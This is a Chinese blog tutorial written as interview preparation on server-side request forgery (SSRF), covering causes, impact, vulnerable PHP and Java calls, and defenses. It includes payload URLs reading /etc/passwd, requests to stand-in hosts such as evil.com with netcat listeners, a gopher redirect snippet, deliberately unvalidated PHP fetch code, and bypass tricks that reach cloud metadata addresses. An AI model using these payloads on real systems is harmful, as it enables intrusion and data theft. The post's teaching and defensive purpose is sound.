不过是SSRF 为什么面试官老问这个?

不过是SSRF 为什么面试官老问这个?

Brathon

回想起面试的时候总会遇到面试官问这个问题

什么是SSRF

SSRF(Server-Side Request Forgery)是一种安全漏洞,它允许攻击者在服务器端发起未经授权的请求。通过利用SSRF漏洞,攻击者可以发送伪造的请求,使服务器主动发起与其他内部或外部资源的通信,例如访问内部系统、绕过防火墙、读取敏感数据攻击其他服务器

SSRF漏洞通常出现在服务器端代码中,其中用户输入未经适当验证和过滤地被用于构造请求的URL或参数。攻击者可以利用这些漏洞来伪造请求,使服务器向受攻击的目标发起请求,而不是合法的请求目标。

SSRF漏洞原理

72b4b351a2e6b6282a2480003573bcc2
72b4b351a2e6b6282a2480003573bcc2

  1. 用户输入:攻击者通过某种方式将恶意的URL或参数作为用户输入提交给服务器端的应用程序。
  2. 构造请求:应用程序接收到用户输入后,将其用于构造请求的URL或参数。
  3. 发起请求:服务器端应用程序使用构造的URL或参数发起请求。这个请求可以是HTTP、FTP、DNS或其他协议。
  4. 目标选择:攻击者可以利用SSRF漏洞来选择请求的目标。这可以是内部系统、本地文件、外部服务或其他受攻击的目标。
  5. 数据获取或攻击:服务器端应用程序发起的请求将返回响应。攻击者可以获取响应中的数据,进行进一步的攻击,或者利用响应中的信息来探测和利用其他系统漏洞。

SSRF 形成的原因大都是由于 服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制

SSRF漏洞危害

  1. 访问内部系统:攻击者可以利用SSRF漏洞来发起请求,访问本地或内部网络中的敏感系统和服务。这可能包括数据库、文件系统、管理接口、内部API等。攻击者可以读取、修改或删除敏感数据,或者执行其他恶意操作。

  2. 绕过防火墙和安全限制:通过利用SSRF漏洞,攻击者可以请求绕过防火墙或安全限制的资源。例如,攻击者可以访问内网资源,绕过防火墙规则,或者通过攻击内部系统来获取敏感信息。

  3. 发起攻击:攻击者可以利用SSRF漏洞来发起攻击,例如通过请求恶意URL或构造特定的请求参数来利用其他系统的漏洞。这可能导致远程代码执行、拒绝服务攻击、服务器劫持等。

  4. 敏感信息泄露:通过SSRF漏洞,攻击者可以获取到内部系统的敏感信息,例如配置文件、API密钥、数据库凭据等。这可能导致数据泄露、隐私问题以及其他安全风险。

  5. 滥用服务器资源:攻击者可以利用SSRF漏洞来滥用服务器资源,例如通过请求大量的远程URL来消耗服务器的网络带宽、CPU或内存资源,导致服务不可用或降级。

SSRF利用点

简单来说,就是访问网站,网站需要从指定url再获取资源时,没有对url中的资源地址进行限制,从而达到黑客可以对访问地址的重新构造。
这种现象通常场景有:

  1. 分享:通过url分享其他网站内容;
  2. 转码:为了适配不同设备,而通过其他服务商提供的转码功能进行转码适配;
  3. 在线翻译:把其他公司的翻译服务功能,通过url放置本地;
  4. 图片、文章分享:类似于分享功能中的获取url的功能,不过这次是获取图片等;
  5. 利用他站api功能:借用他功能为本站用户服务;
    等等。。。

以上,可以从目标站的url中寻找以下关键字:

1
2
3
4
5
6
7
8
9
10
11
12
share  
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain

如果发现目标站url中存在以上关键字,同时存在关键字后接=,并定向到某个协议的url,那么我们可以继续利用协议构造攻击参数。

相关伪协议

  • file:// – 本地文件传输协议,主要用于访问本地计算机中的文件

    1
    http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
  • dict:// – 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口

1
2
3
4
5
http://example.com/ssrf.php?dict://evil.com:1337/  
evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
  • sftp:// – SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)
1
2
3
4
5
http://example.com/ssrf.php?url=sftp://evil.com:1337/  
evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*]
accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
  • ldap:// – 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
1
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
  • tftp:// – 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机

    1
    2
    3
    4
    http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET  
    evil.com:# nc -lvup 1337

    Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
  • gopher:// – 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前

    1
    2
    3
    4
    http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>  
    evil.com:# nc -lvp 1337

    Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

要注意的是,有些网站后端语言可能使用的伪协议不同,比如Java的局限性,实际场景一般利用http、https、file协议等等。

PHP 支持的协议java支持的协议
file://
http://
ftp://
php://
zlib://
data://
glob://
phar://
ssh2://
rar://
ogg://
expect://
mailto://
netdoc://
gopher://
jar://
etc.

代码中的SSRF

php

在PHP中,以下函数可能会引发SSRF漏洞:

  1. file_get_contents():用于读取文件内容,也可以读取远程URL的内容。

    代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户

1
2
3
4
5
6
7
8
9
10
if (isset($_POST['url']))  
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
  1. fopen():用于打开文件或URL,可以读取远程URL的内容。

  2. curl_exec():用于执行CURL请求,可以发送HTTP请求到远程URL。

    通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
  1. get_headers():用于获取URL的HTTP响应头。

  2. simplexml_load_file():用于加载XML文件,也可以加载远程URL的XML数据。

  3. include() 和 require():用于包含其他文件,如果允许包含远程URL,则可能导致SSRF漏洞。

相关代码实例待补充

需要注意的是:
一般情况下PHP不会开启fopen的gopher wrapper ;

file_get_contents的gopher协议不能URL编码 ;

file_get_contents关于Gopher的302跳转会出现bug,导致利用失败 ;

curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用 ;

curl_exec() 默认不跟踪跳转;

file_get_contents() file_get_contents支持php://input协议

java

  1. HttpClient.execute:这是Java中HttpClient类的一个方法。它用于执行一个HTTP请求并返回一个HttpResponse对象。HttpClient类是Apache HttpClient库的一部分,它提供了一组用于执行HTTP请求的API。

  2. HttpClient.executeMethod:这是HttpClient类中的另一个方法,用于执行一个HTTP方法请求。它接受一个HttpMethod类的实例作为参数,并返回一个int类型的状态码。

  3. HttpURLConnection.connect:这个方法是HttpURLConnection类的一部分。它用于建立与HttpURLConnection对象指定的URL的连接。在调用此方法之后,您可以使用HttpURLConnection类中的其他方法与资源进行交互。

  4. HttpURLConnection.getInputStream:这个方法用于从HttpURLConnection对象获取输入流。它返回一个InputStream类的实例,可以用于从资源中读取数据。

  5. URL.openStream:这个方法是URL类的一部分。它用于打开到URL的连接,并返回一个用于从该连接读取的输入流。

  6. HttpServletRequest:这是Java中的一个接口,表示一个HTTP请求。它是Java Servlet API的一部分,提供了访问请求的各个方面的方法,如请求参数、头信息和输入流。

  7. getParameter:这个方法是HttpServletRequest接口的一部分。它用于获取请求参数的值。参数名作为字符串传递给该方法,它返回相应的值作为字符串。

  8. URL:这个类表示Java中的统一资源定位符(URL)。它提供了与URL一起工作的方法,如获取协议、主机、路径和查询参数等。

  9. HttpClient:这是Apache HttpClient库中的一个类。它提供了一组用于执行HTTP请求和处理响应的API。它可用于向服务器发送HTTP请求并接收相应的响应。

  10. Request:这是一个封装了HTTP请求的类。它是对HttpClient类的封装,为进行HTTP请求提供了更方便和用户友好的接口。

  11. HttpURLConnection:这是Java中表示HTTP连接的一个类。它提供了设置请求属性、发送请求和处理响应的方法。

  12. URLConnection:这是Java中的一个抽象类,表示与URL的连接。HttpURLConnection类是URLConnection的子类,为处理HTTP连接提供了额外的方法和功能。

  13. okhttp:这是一个流行的开源Java HTTP客户端库。它提供了一个简单高效的API,用于发送HTTP请求和处理响应。它广泛用于Android开发,并支持连接池、请求/响应拦截和响应缓存等功能。

  14. BasicHttpEntityEnclosingRequest:这是Apache HttpClient库中的一个类。它是HttpEntityEnclosingRequest接口的基本实现,表示可以包含实体(如请求体)的HTTP请求。

  15. DefaultBHttpClientConnection:这是Apache HttpClient库中的一个类。它是BHttpClientConnection接口的默认实现,表示可用于发送和接收请求和响应的HTTP连接。

  16. BasicHttpRequest:这是Apache HttpClient库中的一个类。它是HttpRequest接口的基本实现,表示一个HTTP请求。

  17. URI:这个类表示Java中的统一资源标识符(URI)。它提供了用于处理URI的方法,如解析、解析和规范化等操作。

java代码太长了,不粘了,找几个CVE代审的文章贴这里,各位自行浏览:
https://cloud.tencent.com/developer/article/2204394

绕过办法

已知ssrf这么高危的漏洞必然是要被各位重视的,那么肯定早就有防范办法了

那么,绕!

  1. 限制为http://www.xxx.com 域名时(利用@)

    可以尝试采用http基本身份认证的方式绕过
    如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
    在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。

  2. 采用短网址绕过

    比如百度短地址https://dwz.cn/

  3. 采用进制转换

    127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.

4.利用特殊域名

原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
(xip.io 现在好像用不了了,可以找找其他的)

5.利用[::]

可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]

6.利用句号

127。0。0。1 >>> 127.0.0.1

7、CRLF 编码绕过

%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a1

8.利用封闭的字母数字

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://169.254.169.254>>>http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

9.当限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com

10.当限制请求IP不为内网地址

当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

11.当限制请求只为http协议

(1)采取302跳转
(2)采取短地址

漏洞防御办法

根据以上攻击手段,ssrf 的防御办法如下:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题

总而言之,对用户输入的url进行严格限制,一方面要严防用户输入的内容在白名单之中,另一方面要严格显示用户权限,不允许用户访问权限以外的内容。

那么这回,面试官再问ssrf,知道怎么回答了吗?

参考:

https://evilcos.me/?p=221
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#heading=h.mytbih9w7xb0
https://ibreak.software/2012/11/cross-site-port-attacks-xspa-part-1/
https://xz.aliyun.com/t/12227
https://www.lmlphp.com/user/64107/article/item/1251173/
https://github.com/JoyChou93/java-sec-code
https://www.secpulse.com/archives/65832.html

  • 标题: 不过是SSRF 为什么面试官老问这个?
  • 作者: Brathon
  • 创建于: 2023-07-19 18:39:02
  • 更新于: 2023-09-23 03:00:04
  • 链接: https://fiddling.blog/2023/07/19/不过是SSRF-为什么面试官老问这个?/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
推荐阅读
红队的夜行衣——反反制的那些事 红队的夜行衣——反反制的那些事 由智能家居入门物联网安全(没写完,是个半成品 由智能家居入门物联网安全(没写完,是个半成品 关于社会工程学的一些个人看法 关于社会工程学的一些个人看法
 评论